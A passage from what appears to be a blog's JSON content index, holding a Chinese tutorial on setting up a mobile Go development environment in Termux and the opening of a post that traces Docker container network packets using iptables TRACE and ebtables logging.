5.0及以上版本（估计现在绝大多数android机都满足这一条件）。在国内建议使用F-Droid安装Termux（先下载安装F-Droid，再在F-Droid内部搜索Termux，然后点击安装），国内的各种安装助手很少有对这个工具的支持。或是到apk4fun下载Termux的apk包（size非常小）到手机中安装(安装时需要连接着网络)。当前Termux的最新版本为0.54。\n在桌面点击安装后的Termux图标，我们就启动了一个Termux应用，见下图：\n2、Termux初始环境探索 Mix2手机的Android系统使用的是Android 7.1.1版本，桌面Launcher用的是MIUI 9.1稳定版，默认的shell是bash。通过Termux，我们可以查看Android 7.1.1.使用的Linux内核版本如下：\n$uname -a Linux localhost 4.4.21-perf-g6a9ee37d-06186-g2b2a77b #1 SMP PREEMPT Thu Oct 26 14:55:45 CST 2017 aarch64 Android 可以看出Linux内核是4.4.21，采用的CPU arch family是ARM aarch64。\n我再来看一下Termux提供的常见目录结构：\nHome路径：\n$cd ~/ $pwd /data/data/com.termux/files/home //或者通过环境变量HOME获取： $echo $HOME /data/data/com.termux/files/home 长期使用Linux的朋友可能会发现，这个HOME路径好是奇怪，一般的标准Linux发行版，比如Ubuntu都是在”/home”下放置用户目录，但termux环境中HOME路径却是一个奇怪的位置。在Termux官方Wiki中，我们得到的答案是：Termux是一个prefixed system。\n这个prefix的含义我理解颇有些类似于我们在使用configure脚本时指定的–prefix参数的含义。我们在执行configure脚本时，如果不显式地给–prefix传入值，那么make install后，包将被install在标准位置；否则将被install在–prefix值所指定的位置。\nprefixed system意味着Termux中所有binaries、libraries、configs都不是放在标准的位置，比如：/usr/bin、/bin、/usr/lib、/etc等下面。Termux expose了一个特殊的环境变量:PREFIX（类似于configure –prefix参数选项)：\n$echo $PREFIX /data/data/com.termux/files/usr $cd $PREFIX $ls -F bin/ etc/ include/ lib/ libexec/ share/ tmp/ var/ 是不是有些似曾相识？但Termux的$PREFIX路径与标准linux的根路径下的目录结构毕竟还存在差别，但有着对应关系，这种对应关系大致是：\nTermux的$PREFIX/bin \u0026lt;=\u0026gt; 标准Linux环境的 /bin和/usr/bin Termux的$PREFIX/lib \u0026lt;=\u0026gt; 标准Linux环境的 /lib和/usr/lib Termux的$PREFIX/var \u0026lt;=\u0026gt; 标准Linux环境的 /var Termux的$PREFIX/etc \u0026lt;=\u0026gt; 标准Linux环境的 /etc 因此，基本可以认为Termux的$PREFIX/就对应于标准Linux的/路径。\n3、更新源和包管理 Termux的牛逼之处在于它基于debian的APT包管理工具进行软件包的安装、管理和卸载，就像我们在Ubuntu下所做的那样，非常方便。\nTermux自己维护了一个源，提供各种专门为termux定制的包：\n# The main termux repository: #deb [arch=all,aarch64] http://termux.net stable main 同时，termux-packages项目为开发者和爱好者提供了构建工具和脚本，通过这些工具和脚本，我们可以将自己需要的软件包编译为可以在termux运行的版本，并补充到Termux的源之中。我大致测试了一下官方这个源还是可用的，虽然初始连接的响应很缓慢。\n国内清华大学维护了一个Termux的镜像源，你可以通过编辑 /data/data/com.termux/files/usr/etc/apt/sources.list文件或执行apt edit-sources命令编辑源(在Shell配置中添加export EDITOR=vi后，apt edit-sources才能启动编辑器进行编辑)：\n# The main termux repository: #deb [arch=all,aarch64] http://termux.net stable main deb [arch=all,aarch64] http://mirrors.tuna.tsinghua.edu.cn/termux stable main 剩下的操作与Ubuntu上的一模一样，无非apt update后，利用apt install安装你想要的包。目前Termux源中都有哪些包呢？可以通过apt list命令查看：\n$apt list Listing... Done aapt/stable 7.1.2.33-1 aarch64 abduco/stable 0.6 aarch64 abook/stable 0.6.0pre2-1 aarch64 ack-grep/stable 2.18 all alpine/stable 2.21 aarch64 angband/stable 4.1.0 aarch64 apache2/stable 2.4.29 aarch64 apache2-dev/stable 2.4.29 aarch64 apksigner/stable 0.4 all apr/stable 1.6.3 aarch64 apr-dev/stable 1.6.3 aarch64 apr-util/stable 1.6.1 aarch64 apr-util-dev/stable 1.6.1 aarch64 apt/stable,now 1.2.12-3 aarch64 [installed] apt-transport-https/stable 1.2.12-3 aarch64 ... ... zile/stable 2.4.14 aarch64 zip/stable 3.0-1 aarch64 zsh/stable,now 5.4.2-1 aarch64 [installed] 查看是否有需要更新的包列表：\n$apt list --upgradable 以安装golang为例：\n$apt install golang .... $go version go version go1.9.2 android/arm64 Termux源中的包似乎更新的很勤奋，Go 1.9.2才发布没多久，这里已经是最新版本了，这点值得赞一个！\n二、开发环境搭建 我的目标是mobile coding，需要在Termux上搭建一个dev环境，以Go环境为例。\n1、sshd 在搭建和配置阶段，如果直接通过Android上的软键盘操作，即便屏再大，那个体验也是较差的。我们最好通过PC连到termux上去安装和配置，这就需要我们在Termux上搭建一个sshd server。下面是步骤：\n$apt install openssh $sshd 就这么简单，一个sshd的server就在termux的后台启动起来了。由于Termux没有root权限，无法listen数值小于1024的端口，因此termux上sshd默认的listen端口是8022。另外termux上的sshd server不支持用户名+密码的方式进行登录，只能用免密登录的方式，即将PC上的~/.ssh/id_rsa.pub写入termux上的~/.ssh/authorized_keys文件中。关于免密登录的证书生成方法和导入方式，网上资料已经汗牛充栋，这里就不赘述了。导入PC端的id_rsa.pub后，PC就可以通过下面命令登录termux了：\n$ssh 10.88.46.79 -p 8022 Welcome to Termux! Wiki: https://wiki.termux.com Community forum: https://termux.com/community IRC channel: #termux on freenode Gitter chat: https://gitter.im/termux/termux Mailing list: termux+subscribe@groups.io Search packages: pkg search \u0026lt;query\u0026gt; Install a package: pkg install \u0026lt;package\u0026gt; Upgrade packages: pkg upgrade Learn more: pkg help 其中10.88.46.79是手机的wlan0网卡的IP地址，可以在termux中使用ip addr命令获得:\n$ip addr show wlan0 34: wlan0: \u0026lt;BROADCAST,MULTICAST,UP,LOWER_UP\u0026gt; mtu 1500 qdisc mq state UP group default qlen 3000 ... ... inet 10.88.46.79/20 brd 10.88.47.255 scope global wlan0 valid_lft forever preferred_lft forever ... ... 2、定制shell Termux支持多种主流Shell，默认的Shell是Bash。很多开发者喜欢zsh + oh-my-zsh的组合，Termux也是支持的，安装起来也是非常简单的：\n$ apt install git $ apt install zsh $ git clone git://github.com/robbyrussell/oh-my-zsh.git ~/.oh-my-zsh $ cp ~/.oh-my-zsh/templates/zshrc.zsh-template ~/.zshrc $ chsh zsh 与在PC上安装和配置zsh和oh-my-zsh没什么两样，你完全可以按照你在PC上的风格定制zsh的Theme等，我用的就是默认theme，所以也无需做太多变化，顶多定制一下PROMPT(~/.oh-my-zsh/themes/robbyrussell.zsh-theme中的PROMPT变量)的格式^0^。\n3、安装vim-go 在terminal内进行Go开发，vim-go是必备之神器。vim-go以及相关自动补齐、snippet插件安装在不同平台上都是大同小异的，之前写过两篇《Golang开发环境搭建-Vim篇》和《vim-go更新小记》，大家可以参考。\n不过这里有一个较为关键的问题，那就是Termux官方源中的vim 8.0缺少了对python和lua的支持：\n$vim --version|grep py +cryptv +linebreak -python +viminfo +cscope +lispindent -python3 +vreplace $vim --version|grep lua +dialog_con -lua +rightleft +windows 而一些插件又恰需要这些内置的支持，比如ultisnips需要vim自带py支持；neocomplete又依赖vim的lua支持。这样如果你还想要补齐和snippet特性，你就需要在Termux下面自己编译Vim的源码了（configure时加上对python和lua的支持）。\n4、中文支持 无论是PC还是Termux使用的都是UTF8的内码格式，但是在安装完vim-go后，我试着用vim编辑一些简单的源码，发现在vim中输入的中文都是乱码。这里通过一个配置解决了该问题：\n//~/.vimrc 添加一行： set enc=utf8 至于其中的原理，可以参见我N年前写的《也谈VIM字符集编码设置》一文。\n三、键盘适配 现阶段，写代码还是需要键盘输入的（憧憬未来^0^）。\n1、软键盘 使用原生自带的默认软键盘在terminal中用vim进行coding，那得多执着啊，尤其是在vim大量使用ESC键的情况下（我都没找到原生键盘中ESC键在哪里:(）。不过Termux倒是很具包容心，为原生软键盘提供了扩展支持：用两个上下音量键协助你输入一些原生键盘上没有或者难于输入的符号，比如（全部的模拟按键列表参见这里）：\n清理屏幕：用volume down + L 来模拟 ctrl + L 结束前台程序：用volume down + C 来模拟 ctrl + C ESC：用volume up + E 来模拟 F1-F9: 用volume up + 1 ~ 9 来模拟 据网友提示：volume up + Q键可以打开扩展键盘键，包括ESC、CTRL、ALT等，感谢。\n这样仅能满足临时的需要，要想更有效率的输入，我们需要Hacker’s Keyboard。顾名思义，Hacker’s Keyboard可以理解为专为Coding(无论出于何种目的)的人准备的。和Termux一样，你可以从F-droid安装该工具。启动该app后，app界面上有明确的使用说明，如果依旧不明确，还可以查看这篇图文并茂的文章：《How to Use Hacker’s Keyboard》。默认情况下，横屏时Hacker’s keyboard会使用”Full 5-row layout”，即全键盘，竖屏时，则是4-row layout。你可以通过“系统设置”中的“语言和输入法”配置中对其进行设置，让Hacker’s keyboard无论在横屏还是竖屏都采用全键盘（我们屏幕够大^0^）：\n横屏\n竖屏\nHacker’s Keyboard无法支持中文输入，这点是目前的缺憾，不过我个人写代码时绝少使用中文，该问题忽略不计。\n2、外接蓝牙键盘 Hacker’s Keyboard虽然一定程度提升了Coding时的输入效率，但也仅是权宜之计，长时间大规模通过软键盘输入依旧不甚可取，外接键盘是必须的。对于手机而言，目前最好的外接连接方式就是蓝牙。蓝牙键盘市面上现在有很多种，我选择了老牌大厂logitech的K480。这款键盘缺点是便携性差点、按键有些硬，但按键大小适中；而那些超便携的蓝牙键盘普遍键帽太小，长时间Coding的体验是个问题。\nTermux对外接键盘的支持也是很好的，除了常规输入，通过键盘组合键Ctrl+Alt与其他字母的组合实现各种控制功能，比如：\nctrl + alt + c =\u0026gt; 实现创建一个新的session； ctrl + alt + 上箭头/下箭头 =\u0026gt; 实现切换到上一个/下一个session的窗口； ctrl + alt + f =\u0026gt; 全屏 ctrl + alt +v =\u0026gt; 粘贴 ctrl + alt + +/- =\u0026gt; 实现窗口字体的放大/缩小 不过，外接键盘和Hacker’s keyboard有一个相同的问题，那就是针对Termux无法输入中文。我尝试了百度、搜狗等输入法，无论如何切换（正常在其他应用中，通过【shift + 空格】实现中英文切换）均只是输入英文。\n四、存储 到目前为止，我们提到的路径都在termux的私有的内部存储(private internal storage)路径下，这类存储的特点是termux应用内部的、私有的，一旦termux被卸载，这些数据也将不复存在。Android下还有另外两种存储类型：shared internal storage和external storage。所谓shared internal storage是手机上所有App可以共享的存储空间，放在这个空间内的数据不会因为App被卸载掉而被删除掉；而外部存储(external storage)主要是指外部插入的SD Card的存储空间。\n默认情况下，Termux只支持private internal storage，意味着你要做好数据备份，否则一旦误卸载termux，数据可就都丢失了;数据可以用git进行管理，并sync到云端。\nTermux提供了一个名为termux-setup-storage的工具，可以让你在Termux下访问和使用shared internal storage和external storage；该工具是termux-tools的一部分，你可以通过apt install termux-tools来安装这些工具。\n执行termux-setup-storage(注意：这个命令只能在手机上执行才能弹出授权对话框，通过远程ssh登录后执行没有任何效果)时，手机会弹出一个对话框，让你确认授权：\n一旦授权，termux-setup-storage就会在HOME目录下建立一个storage目录，该目录下的结构如下：\n➜ /data/data/com.termux/files/home $tree storage storage ├── dcim -\u0026gt; /storage/emulated/0/DCIM ├── downloads -\u0026gt; /storage/emulated/0/Download ├── movies -\u0026gt; /storage/emulated/0/Movies ├── music -\u0026gt; /storage/emulated/0/Music ├── pictures -\u0026gt; /storage/emulated/0/Pictures └── shared -\u0026gt; /storage/emulated/0 6 directories, 0 files 我们看到在我的termux下，termux-setup-storage在storage下建立了6个符号链接，其中shared指向shared internal storage的根目录，即/storage/emulated/0；其余几个分别指向shared下的若干功能目录，比如：相册、音乐、电影、下载等。我的手机没有插SD卡，可能也不支持（市面上大多数手机都已经不支持了），如果插了一张SD卡，那么termux-setup-storage还会在storage目录下j建立一个符号链接指向在external storage上的一个termux private folder。\n现在你就可以把数据放在shared internal storage和external storage上了，当然你也可以在Termux下自由访问shared internal storage上的数据了。\n五、小结 Termux还设计了支持扩展的Addon机制，支持通过各种Addon来丰富Termux功能，提升其能力，这些算是高级功能，在这篇入门文章里就先不提及了。好了，接下来我就可以开始我的mobile coding了，充分利用碎片时间。后续在使用Termux+k480的过程中如果遇到什么具体的问题，我再来做针对性的解析。\n微博：@tonybai_cn\n微信公众号：iamtonybai\ngithub.com: https://github.com/bigwhite\n","permalink":"https://tonybai.com/2017/11/09/hello-termux/","summary":"\u003cp\u003e\u003cstrong\u003e\u003cem\u003e程序员或多或少都有一颗\u003ca href=\"https://en.wikipedia.org/wiki/Geek\"\u003eGeek(极客)\u003c/a\u003e的心^0^。- Tony Bai\u003c/em\u003e\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e折腾开始。\u003c/p\u003e\n\u003cp\u003e这一切都源于前不久将手机换成了Xiaomi的\u003ca href=\"https://en.wikipedia.org/wiki/Xiaomi_Mi_MIX_2\"\u003eMIX2\u003c/a\u003e。因为青睐开放的系统（相对于水果公司系统的封闭，当然Mac笔记本除外^0^），我长期使用\u003ca href=\"https://en.wikipedia.org/wiki/Android_(operating_system)\"\u003eAndroid平台\u003c/a\u003e的手机。但之前被三星Note3手机的“大屏”搞的不是很舒服，这两年一直用5寸及以下的手机，因为单手操作体验良好。MIX2的所谓“全面屏”概念又让我回归到了大屏时代。\u003c/p\u003e\n\u003cp\u003e除了大屏，现在手机“豪华”的硬件配置也让人惊叹：高通骁龙835，8核，最高主频 2.45GHz；6GB以上的LPDDR4x的双通道大内存，怪不得微软和高通都开始合作生产基于高通ARM处理器的Win10笔记本了，这配置支撑在笔记本上办公+浏览网页绰绰有余。不过对于不怎么玩游戏的我而言，这种配置仅仅用作手机日常功能有些浪费。于是有了“mobile coding”的想法和需求，至少现在是这样想的，冲动也好，伪需求也好，先实现了再说。\u003c/p\u003e","title":"Hello，Termux"},{"content":"这大半年一直在搞Kubernetes。每次搭建Kubernetes集群，或多或少都会被Kubernetes的“网络插件们”折腾折腾。因此，要说目前Kubernetes中最难搞的是什么？个人觉得莫过于其Pod网络了，至少也是最难搞的之一。除此之外，以Service和Pod为中心的Kubernetes架构还大量利用iptables规则来实现Service的反向代理和负载均衡，这又与Docker原生容器单机网络实现所基于的linux bridge和iptables规则糅合在一起，让troubleshooting时的难度又增加了一些。\n去年曾经花过一段研究Docker网络，但现在看来当时在某些关键环节的理解上还有些模糊，于是花了周末的闲暇时间对Docker容器单机网络做了一次再理解。这次重新认识利用上了iptables的Trace功能以及数据链路层的ebtables，让我可以更清晰地看到单机容器网络的网络数据流流向。同时，有了容器网络理解这个基础，对后续解决K8s Pod网络问题也是大有裨益的。\n本文从某个角度来说也可以理解为自我答疑，我不会从最最基础的Docker网络结构说起，对Docker容器单机网络结构不了解的童鞋，可以先看看我之前写的《理解Docker单机容器网络》和《理解Docker容器网络之Linux Network Namespace》两篇文章。\n一、实验环境 1、主机环境和工具版本 Docker的默认单机容器网络从最初的版本开始就几乎没有变过，因此理论上下面的分析适用于Docker的大部分版本。我的实验环境如下：\nUbuntu 16.04.3 LTS (GNU/Linux 4.4.0-63-generic x86_64) # docker version Client: Version: 17.09.0-ce API version: 1.32 Go version: go1.8.3 Git commit: afdb6d4 Built: Tue Sep 26 22:42:18 2017 OS/Arch: linux/amd64 Server: Version: 17.09.0-ce API version: 1.32 (minimum version 1.12) Go version: go1.8.3 Git commit: afdb6d4 Built: Tue Sep 26 22:40:56 2017 OS/Arch: linux/amd64 Experimental: false # iptables --version iptables v1.6.0 # ebtables --version ebtables v2.0.10-4 (December 2011) 2、容器网络及拓扑 我们需要制作一个用于实验的容器镜像。因为这里仅用ping包进行测试，这里我们仅基于ubuntu:14.04 base image制作一个简单的安装有必要网络工具的image：\n//Dockerfile From ubuntu:14.04 RUN apt-get update \u0026amp;\u0026amp; apt-get install -y curl iptables ENTRYPOINT [\u0026quot;tail\u0026quot;, \u0026quot;-f\u0026quot;, \u0026quot;/var/log/bootstrap.log\u0026quot;] // 制作镜像： # docker build -t foo:latest ./ 启动两个容器：\n# docker run --name c1 -d --cap-add=NET_ADMIN foo:latest 7a01a19d9328b39f094c9a9c76340d179baaf93afb52189816bcc79f8319cb64 # docker run --name c2 -d --cap-add=NET_ADMIN foo:latest 94a2f1841f6d95fd0682299b17c0aedb60c1047786c8e75b0f1ab7316a995409 容器启动后的网络信息汇总如下：\n# ifconfig -a docker0 Link encap:Ethernet HWaddr 02:42:ff:27:17:4d inet addr:192.168.0.1 Bcast:0.0.0.0 Mask:255.255.240.0 ... ... eth0 Link encap:Ethernet HWaddr 00:16:3e:06:3a:3a inet addr:10.171.77.0 Bcast:10.171.79.255 Mask:255.255.248.0 ... ... lo Link encap:Local Loopback inet addr:127.0.0.1 Mask:255.0.0.0 ... ... veth0594f4b Link encap:Ethernet HWaddr 96:5b:d4:80:73:5f UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 ... ... veth57a3dec Link encap:Ethernet HWaddr 02:52:e9:60:ea:b1 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 ... ... 为了方便大家理解，这里附上一幅简易的容器网络拓扑：\n二、调试工具配置 Docker单机容器网络默认使用的是桥接网络，所有启动的容器均桥接在Docker引擎创建的docker0 linux bridge上，因此内核对Linux bridge的处理逻辑是理解Docker容器网络的关键。\n与硬件网桥/交换机不同的是，Linux Bridge还具备三层网络，即IP层的功能，也就是docker0既是一个网桥也是一个具备三层转发功能的网卡设备。传统意义上，按照iso网络七层规范，iptables工作在三层，而网桥是一个二层(数据链路层)设备，但Linux协议栈针对网桥设备的实现却在网络层的规则链(ebtables)中串接了iptables的规则链处理，即在二层也可以处理ip包，这是为了实现桥接透明防火墙的需要。但实现也会保证每个packet数据包仅会走一次iptable的某个chain，要么在linker layer走，要么在network layer走，不会出现在linker layer走一次，又在network layer重复走一次的情况。关于这种基于linux bridge的ebtables和iptables的交互规则，在netfilter官网的一篇名为《ebtables/iptables interaction on a Linux-based bridge》文档中有详细说明，这篇文章也是后续分析的一个重要参考。下面这幅图也是文章中提到的那幅netfilter数据流全图，后续在分析时会反复回到这幅图（后续简称为：全图）：\n建议：右键在新标签中打开图片看大图\n关于数据包在iptables的各条chain的流经图可以参见下面：\n1、iptables TRACE target的设置 在本次实验中，我们主要需要查看数据包的流转路径，因此我们需要针对iptables的data flow进行跟踪。之前，我曾使用过iptables提供的LOG target或mark set\u0026amp;match方式来跟踪iptables中的数据流，但这两种方式都不理想，需要针对特定流程插入LOG target或match在入口包设定好的mark，对iptables规则的侵入较大，调试和观察也较为复杂；iptables自身提供了TRACE功能，一旦设定，当数据包匹配到任意chain上任意table的处理规则时，iptables会在系统日志(/var/log/syslog)中自动输出此时的数据包状态日志。\n我们来为iptables规则添加TRACE，TRACE target只能在iptables的raw表中添加，raw表中有两条iptables built-in chain: PREROUTING和OUTPUT，分别代表网卡数据入口和本地进程下推数据的出口。TRACE target就添加在这两条chain上，步骤如下：\n# iptables -t raw -A OUTPUT -p icmp -j TRACE # iptables -t raw -A PREROUTING -p icmp -j TRACE 注意：我们采用icmp协议(ping协议)进行测试，因此我们只TRACE icmp协议的请求和应答包。\n2、ebtables的调试设置 我们的重点在iptables，为ebtables只是辅助，帮助我们看清数据包到底是在哪一层被hook进iptables的规则链中进行处理的。因此我们在全图中的每个ebtables的built-in chain上都加上LOG（ebtables目前还不支持TRACE）：\n# ebtables -t broute -A BROUTING -p ipv4 --ip-proto 1 --log-level 6 --log-ip --log-prefix \u0026quot;TRACE: eb:broute:BROUTING\u0026quot; -j ACCEPT # ebtables -t nat -A OUTPUT -p ipv4 --ip-proto 1 --log-level 6 --log-ip --log-prefix \u0026quot;TRACE: eb:nat:OUTPUT\u0026quot; -j ACCEPT # ebtables -t nat -A PREROUTING -p ipv4 --ip-proto 1 --log-level 6 --log-ip --log-prefix \u0026quot;TRACE: eb:nat:PREROUTING\u0026quot; -j ACCEPT # ebtables -t filter -A INPUT -p ipv4 --ip-proto 1 --log-level 6 --log-ip --log-prefix \u0026quot;TRACE: eb:filter:INPUT\u0026quot; -j ACCEPT # ebtables -t filter -A FORWARD -p ipv4 --ip-proto 1 --log-level 6 --log-ip --log-prefix \u0026quot;TRACE: eb:filter:FORWARD\u0026quot; -j ACCEPT # ebtables -t filter -A OUTPUT -p ipv4 --ip-proto 1 --log-level 6 --log-ip --log-prefix \u0026quot;TRACE: eb:filter:OUTPUT\u0026quot; -j ACCEPT # ebtables -t nat -A POSTROUTING -p ipv4 --ip-proto 1 --log-level 6 --log-ip --log-prefix \u0026quot;TRACE: eb:nat:POSTROUTING\u0026quot; -j ACCEPT 注意：这里--ip-proto 1 表示仅match icmp packet。 3、iptables和ebtables规则全文 启动两个容器并添加上述规则后，当前的的iptables规则如下：(通过iptables-save输出的按table组织的rules)\n# iptables-save # Generated by iptables-save v1.6.0 on Sun Nov 5 14:50:46 2017 *raw : PREROUTING ACCEPT [1564539:108837380] :OUTPUT ACCEPT [1504962:130805835] -A PREROUTING -p icmp -j TRACE -A OUTPUT -p icmp -j TRACE COMMIT # Completed on Sun Nov 5 14:50:46 2017 # Generated by iptables-save v1.6.0 on Sun Nov 5 14:50:46 2017 *filter :INPUT ACCEPT [1564535:108837044] :FORWARD DROP [0:0] :OUTPUT ACCEPT [1504968:130806627] : DOCKER - [0:0] : DOCKER-ISOLATION - [0:0] : DOCKER-USER - [0:0] -A FORWARD -j DOCKER-USER -A FORWARD -j DOCKER-ISOLATION -A FORWARD -o docker0 -m conntrack --ctstate RELATED,ESTABLISHED -j ACCEPT -A FORWARD -o docker0 -j DOCKER -A FORWARD -i docker0 ! -o docker0 -j ACCEPT -A FORWARD -i docker0 -o docker0 -j ACCEPT -A DOCKER-ISOLATION -j RETURN -A DOCKER-USER -j RETURN COMMIT # Completed on Sun Nov 5 14:50:46 2017 # Generated by iptables-save v1.6.0 on Sun Nov 5 14:50:46 2017 *nat : PREROUTING ACCEPT [280:14819] :INPUT ACCEPT [278:14651] :OUTPUT ACCEPT [639340:38370263] : POSTROUTING ACCEPT [639342:38370431] : DOCKER - [0:0] -A PREROUTING -m addrtype --dst-type LOCAL -j DOCKER -A OUTPUT ! -d 127.0.0.0/8 -m addrtype --dst-type LOCAL -j DOCKER -A POSTROUTING -s 192.168.0.0/20 ! -o docker0 -j MASQUERADE -A DOCKER -i docker0 -j RETURN COMMIT # Completed on Sun Nov 5 14:50:46 2017 而ebtables的规则如下：\n# ebtables-save # Generated by ebtables-save v1.0 on Sun Nov 5 16:51:50 CST 2017 *nat : PREROUTING ACCEPT :OUTPUT ACCEPT : POSTROUTING ACCEPT -A PREROUTING -p IPv4 --ip-proto icmp --log-level info --log-prefix \u0026quot;TRACE: eb:nat:PREROUTING\u0026quot; --log-ip -j ACCEPT -A OUTPUT -p IPv4 --ip-proto icmp --log-level info --log-prefix \u0026quot;TRACE: eb:nat:OUTPUT\u0026quot; --log-ip -j ACCEPT -A POSTROUTING -p IPv4 --ip-proto icmp --log-level info --log-prefix \u0026quot;TRACE: eb:nat:POSTROUTING\u0026quot; --log-ip -j ACCEPT *broute :BROUTING ACCEPT -A BROUTING -p IPv4 --ip-proto icmp --log-level info --log-prefix \u0026quot;TRACE: eb:broute:BROUTING\u0026quot; --log-ip -j ACCEPT *filter :INPUT ACCEPT :FORWARD ACCEPT :OUTPUT ACCEPT -A INPUT -p IPv4 --ip-proto icmp --log-level info --log-prefix \u0026quot;TRACE: eb:filter:INPUT\u0026quot; --log-ip -j ACCEPT -A FORWARD -p IPv4 --ip-proto icmp --log-level info --log-prefix \u0026quot;TRACE: eb:filter:FORWARD\u0026quot; --log-ip -j ACCEPT -A OUTPUT -p IPv4 --ip-proto icmp --log-level info --log-prefix \u0026quot;TRACE: eb:filter:OUTPUT\u0026quot; --log-ip -j ACCEPT 对于iptables，我们还可以通过iptables命令输出另外一种组织形式的规则列表，我们这里列出filter和nat这两个重要的table的规则(输出规则number，便于后续match分析时查看)：\n# iptables -nL --line-numbers -v -t filter Chain INPUT (policy ACCEPT 2558K packets, 178M bytes) num pkts bytes target prot opt in out source destination Chain FORWARD (policy DROP 0 packets, 0 bytes) num pkts bytes target prot opt in out source destination 1 10 840 DOCKER-USER all -- * * 0.0.0.0/0 0.0.0.0/0 2 10 840 DOCKER-ISOLATION all -- * * 0.0.0.0/0 0.0.0.0/0 3 7 588 ACCEPT all -- * docker0 0.0.0.0/0 0.0.0.0/0 ctstate RELATED,ESTABLISHED 4 3 252 DOCKER all -- * docker0 0.0.0.0/0 0.0.0.0/0 5 0 0 ACCEPT all -- docker0 !docker0 0.0.0.0/0 0.0.0.0/0 6 3 252 ACCEPT all -- docker0 docker0 0.0.0.0/0 0.0.0.0/0 Chain OUTPUT (policy ACCEPT 2460K packets, 214M bytes) num pkts bytes target prot opt in out source destination Chain DOCKER (1 references) num pkts bytes target prot opt in out source destination Chain DOCKER-ISOLATION (1 references) num pkts bytes target prot opt in out source destination 1 10 840 RETURN all -- * * 0.0.0.0/0 0.0.0.0/0 Chain DOCKER-USER (1 references) num pkts bytes target prot opt in out source destination 1 10 840 RETURN all -- * * 0.0.0.0/0 0.0.0.0/0 # iptables -nL --line-numbers -v -t nat Chain PREROUTING (policy ACCEPT 884 packets, 46522 bytes) num pkts bytes target prot opt in out source destination 1 881 46270 DOCKER all -- * * 0.0.0.0/0 0.0.0.0/0 ADDRTYPE match dst-type LOCAL Chain INPUT (policy ACCEPT 881 packets, 46270 bytes) num pkts bytes target prot opt in out source destination Chain OUTPUT (policy ACCEPT 1048K packets, 63M bytes) num pkts bytes target prot opt in out source destination 1 0 0 DOCKER all -- * * 0.0.0.0/0 !127.0.0.0/8 ADDRTYPE match dst-type LOCAL Chain POSTROUTING (policy ACCEPT 1048K packets, 63M bytes) num pkts bytes target prot opt in out source destination 1 0 0 MASQUERADE all -- * !docker0 192.168.0.0/20 0.0.0.0/0 Chain DOCKER (2 references) num pkts bytes target prot opt in out source destination 1 0 0 RETURN all -- docker0 * 0.0.0.0/0 0.0.0.0/0 三、Container to Container 下面，我们分三种情况来看看容器网络的数据包是如何流动的，首先是Container to Container。\n我们在容器C1中执行ping 3次 C2的命令：\n# docker exec c1 ping -c 3 192.168.0.3 PING 192.168.0.3 (192.168.0.3) 56(84) bytes of data. 64 bytes from 192.168.0.3: icmp_seq=1 ttl=64 time=0.226 ms 64 bytes from 192.168.0.3: icmp_seq=2 ttl=64 time=0.159 ms 64 bytes from 192.168.0.3: icmp_seq=3 ttl=64 time=0.185 ms --- 192.168.0.3 ping statistics --- 3 packets transmitted, 3 received, 0% packet loss, time 1998ms rtt min/avg/max/mdev = 0.159/0.190/0.226/0.027 ms 在容器c1(192.168.0.2)中，icmp request由ping程序(c1 namespace中的local process)发出。c1 network namespace中的路由表如下：\n# docker exec c1 netstat -rn Kernel IP routing table Destination Gateway Genmask Flags MSS Window irtt Iface 0.0.0.0 192.168.0.1 0.0.0.0 UG 0 0 0 eth0 192.168.0.0 0.0.0.0 255.255.240.0 U 0 0 0 eth0 由于目标容器地址为192.168.0.3，在容器c1的直连网络上，走第二条直连路由（非默认路由），数据包通过eth0发出。\n由于c1 namespace中的eth0通过veth机制连接在host namespace的docker0 bridge的一个Slave port上，因此上述数据包通过docker0 bridge的slave port: veth0594f4b流入docker0 bridge。\n这里再强调一下linux bridge设备。Linux下的Bridge是一种虚拟设备，它依赖于一个或多个从设备。它不是内核虚拟出的和从设备同一层次的镜像设备，而是内核虚拟出的一个高一层次的设备，并把从设备虚拟化为端口port，同时处理各个从设备的数据收发及转发。bridge设备是建立在从设备之上的（这些从设备可以是实际设备，也可以是vlan设备等），并且我们可以为bridge准备一个IP（bridge设备的MAC地址是它所有从设备中最小的MAC地址），这样该主机就可以通过这个bridge设备与网络中的其它主机通信了。另外一旦某个网络设备被“插到”linux bridge上，这个网络设备将会变为bridge的从设备，被虚拟化为端口port，从设备的IP及MAC都不再可用，好似被bridge剥夺了被内核网络栈处理的资格；它们被设置为接收任何包，对其流入的数据包的处理交由bridge完成，并最终由bridge设备来决定数据包的去向：接收到本机、转发或丢弃。\n因此，位于host namespace的docker0 bridge从slave port: veth0594f4b收到icmp request后，我们不会看到veth0594f4b这一netdev被内核网络栈程序单独处理(比如：单独走一遍ebtables和iptables chains)，而是进入bridge处理逻辑（此时可以回顾一下上面的全图）。由于数据包已经进入到了host namespace，因此我们可以通过ebtables和iptables输出的Trace和log来跟踪数据包流转的路径了：\n1、start -\u0026gt; bridgecheck -\u0026gt; linker layer TRACE: eb:broute:BROUTING IN=veth0594f4b OUT= MAC source = 02:42:c0:a8:00:02 MAC dest = 02:42:c0:a8:00:03 proto = 0x0800 IP SRC=192.168.0.2 IP DST=192.168.0.3, IP tos=0x00, IP proto=1 TRACE: eb:nat:PREROUTING IN=veth0594f4b OUT= MAC source = 02:42:c0:a8:00:02 MAC dest = 02:42:c0:a8:00:03 proto = 0x0800 IP SRC=192.168.0.2 IP DST=192.168.0.3, IP tos=0x00, IP proto=1 从最初的trace log来看，在bridge check之后(发现it is a linux bridge)，数据包进入到linker layer中；并且在linker layer的BROUTING built-in chain之后，数据包没有被转移到上面的network layer，而是继续linker layer的行程：进入linker layer的nat:PREROUTING中。\n2、call iptables chain rules in linker layer 结合全图中的图示和日志输出，在linker layer的nat:PREROUTING之后，linker layer调用了上层iptables的处理规则：raw:PREROUTING和nat:PREROUTING：\nTRACE: raw:PREROUTING:policy:2 IN=docker0 OUT= PHYSIN=veth0594f4b MAC=02:42:c0:a8:00:03:02:42:c0:a8:00:02:08:00 SRC=192.168.0.2 DST=192.168.0.3 LEN=84 TOS=0x00 PREC=0x00 TTL=64 ID=47066 DF PROTO=ICMP TYPE=8 CODE=0 ID=90 SEQ=1 TRACE: nat:PREROUTING:policy:2 IN=docker0 OUT= PHYSIN=veth0594f4b MAC=02:42:c0:a8:00:03:02:42:c0:a8:00:02:08:00 SRC=192.168.0.2 DST=192.168.0.3 LEN=84 TOS=0x00 PREC=0x00 TTL=64 ID=47066 DF PROTO=ICMP TYPE=8 CODE=0 ID=90 